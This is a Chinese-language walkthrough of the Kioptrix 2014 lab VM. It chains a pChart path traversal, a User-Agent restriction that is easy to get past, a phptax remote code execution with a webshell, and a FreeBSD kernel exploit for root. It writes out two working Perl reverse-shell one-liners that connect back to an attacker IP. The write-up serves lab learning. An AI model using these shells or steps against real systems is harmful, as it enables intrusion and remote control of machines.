目录
简介
这是Kioptrix系列的最后一个靶机,本想好好结束这一个系列,结果却被靶机环境搞心态了。在启动靶机前需要将网卡移除掉并重新添加一个网卡才能分配到IP地址,靶机不太稳定,服务经常中断,中断后重启虚拟机就好了,个人不喜欢该靶机。该靶机通过源码注释找到80端口web应用路径,利用pChart2.1.3路径穿越漏洞读取Apache配置文件,通过修改User-Agent获得访问8080端口服务权限,接着利用phptax远程代码执行漏洞获取服务器权限,最后利用内核漏洞提升至root权限。
信息收集
扫描目标主机发现开启80和8080端口,8080端口运行着Apache httpd 2.2.21,PHP版本为5.3.8,操作系统为FreeBSD,如图:
访问80端口Web服务,如图:
目录不存在robots.txt文件,扫描目录也未发现其它目录,查看网页源码发现注释中存在pChart2.1.3/index.php,如图:
访问该页面,如图:
使用Google搜索发现pChart 2.1.3存在路径穿越和XSS漏洞,在Exploit-DB发现pChart 2.1.3多个漏洞,如图:
访问8080端口页面显示Forbidden,如图:
扫描目录未发现任何目录和文件,使用nikto检查的结果和80端口的结果一样,如图:
使用searchsploit查找可能的漏洞,如图:
C程序编译总报错,暂时先放弃编译,回头看收集到的80端口的漏洞信息。
漏洞发现
使用Exploit-DB搜索到的pChart 2.1.3路径穿越漏洞Exp进行检测,如图:
可以看到操作系统为FreeBSD 9.0,存在root权限用户root和toor,普通用户ossec,ossecm和ossecr。使用搜索引擎搜索FreeBSD系统Apache的配置文件路径,得到默认配置文件路径为:/usr/local/etc/apache22/httpd.conf。
漏洞利用
利用路径穿越漏洞查看Apache配置文件,如图:
8080端口允许的User-Agent为:Mozilla/4.0 Mozilla4_browser。修改User-Agent为Mozilla/4.0 Mozilla4_browser后访问成功,页面返回一个目录:phptax,如图:
访问该目录,如图:
在Exploit-DB搜索发现phptax存在远程代码执行漏洞,且有三个Exp,如图:
先尝试第一个,通过field和newvalue参数创建文件,并写入命令执行代码,如图:
访问创建的文件并执行命令,如图:
进一步利用该Exp写入一句话木马,如图:
配置蚁剑Header,即可使用蚁剑连接目标服务器,如图:
尝试第二个Exp,直接使用Metasploit,在配置好目标主机和端口后还需要配置payload,如图:
最终配置结果如图:
尝试第三个Exp,使用nc、sh和python都失败,然后利用perl反弹shell,代码如下:
perl -e 'use Socket;$i="192.168.3.205";$p=8123;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
在Burp中使用URL编码反弹shell的代码,如图:
成功获得Shell,如图:
权限提升
上传提权辅助脚本执行后可读性较差,如图:
操作系统为FreeBSD 9.0,没有可免密执行的sudo命令,未找到数据库账号和密码等其它凭据,未找到可利用的SUID和SGID程序,其实主要是没耐心看了。使用searchsploit查找FreeBSD 9.0相关漏洞,发现两个,如图:
将第一上传到目标主机,虽然编译报了一个警告,但是依旧执行成功,获得root权限,如图:
在查看root用户目录时发现congrats.txt,如图:
作者告诉我们他使用了OSSEC-HIDS,出于好奇我查看了ossec-alerts.log,如图:
发现Metasploit在利用漏洞时使用的是:
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.3.205:8123");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
总结
靶机并不难,只是这个环境是真的搞人心态。还是学到点东西的,最后送上基于python3 的pChart 2.1.3和phptax 漏洞利用代码。